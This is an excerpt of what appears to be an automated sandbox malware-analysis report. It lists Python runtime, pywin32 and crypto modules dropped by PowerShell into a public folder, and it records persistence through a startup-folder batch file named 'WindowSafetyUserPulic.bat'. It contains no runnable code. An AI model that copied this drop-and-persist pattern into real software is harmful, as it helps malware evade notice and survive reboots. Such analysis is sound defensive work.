Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32lz.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_x25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pywintypes310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32crypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\mmapfile.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmon.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\timer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32console.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD5.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2b.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32inet.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-7.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_keccak.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32job.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32net.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ec_ws.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Protocol\_scrypt.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\pythonservice.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32gui.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32help.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\servicemanager.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\pywin32_system32\pythoncom310.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32api.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed25519.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA1.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD4.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA384.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_poly1305.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Math\_modexp.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32cred.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32clipboard.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA256.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\perfmondata.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_MD2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32event.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\PublicKey\_ed448.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pipe.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA512.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\win32\win32pdh.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\Lib\site-packages\Crypto\Hash\_SHA224.pyd	Jump to dropped file

Boot Survival

Drops script or batch files to the startup folder

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafetyUserPulic.bat

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafetyUserPulic.bat

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowSafetyUserPulic.bat

Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
